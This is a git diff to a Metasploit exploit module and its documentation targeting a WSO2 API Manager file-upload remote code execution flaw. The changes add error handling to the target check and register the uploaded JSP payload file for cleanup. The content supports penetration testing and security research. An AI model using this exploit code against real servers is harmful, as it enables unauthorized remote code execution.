diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md index 6c826c9ae3..19f7136e84 100644 --- a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -17,9 +17,6 @@ services: ```bash docker-compose up ``` - - - ## Verification Steps 1. Install the application diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 8c4d4f541c..8e75c8f47b 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck attr_accessor :bearer @@ -87,7 +88,12 @@ class MetasploitModule < Msf::Exploit::Remote def check vprint_status('Checking target...') - authenticate + begin + authenticate + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'services', 'Version'), 'method' => 'GET', @@ -368,6 +374,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 print_good('Payload uploaded successfully') + register_file_for_cleanup(jsp_filename) return res end